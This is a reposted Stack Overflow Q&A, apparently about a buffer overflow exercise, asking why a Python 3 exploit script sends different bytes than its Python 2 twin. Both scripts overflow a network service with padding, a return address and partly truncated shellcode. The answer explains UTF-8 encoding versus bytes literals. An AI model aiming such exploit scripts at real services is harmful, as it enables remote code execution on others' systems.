gpt4 book ai didi

sockets - Python3和Python2之间的区别-socket.send数据

转载 作者:行者123 更新时间:2023-12-01 16:35:47 25 4
gpt4 key购买 nike

我正在练习一些缓冲区溢出技术并且我在发送 socked 数据时遇到了一个奇怪的问题。

我有这两个几乎相同的代码,除了事实在Python3代码中,我改变了sock.send来编码字符串(在Python2中你不需要它)

Python2 代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3 代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送缓冲区,然后使用免疫调试器检查 EIP/SEP 值我发现 Python2 代码和 Python3 代码之间有不同的值代码。这怎么可能?

两者的缓冲区相同,因此调试器中的 EIP/SEP 应该相同。

换句话说,从服务器的角度来看(获取套接字数据)看起来它有不同的数据结构或类似的东西。

有什么想法吗?

谢谢。

最佳答案

您的服务器和调试器是正确的 - 缓冲区内容相同。

在python 2和3中,如果编写buffer = "A"*268,则缓冲区的类型为str。然而,str代表什么is completely different in the two versions

在 python 2 中,str 实际上是一个字节数组。在 python 3 中,它是人类可读字符的序列,而不是字节(在 python 2 中称为“unicode 字符串”)

如果进一步.encode(),您将使用utf-8将字符序列转换为字节序列。这个"changes the content"可以这么说,你的字符串

您可能想要做的是 buffer = b"A"*268,它将使用 bytes 而不是 str 。您还需要为所有连接的字节序列添加 b 前缀

关于sockets - Python3和Python2之间的区别-socket.send数据,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29513683/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com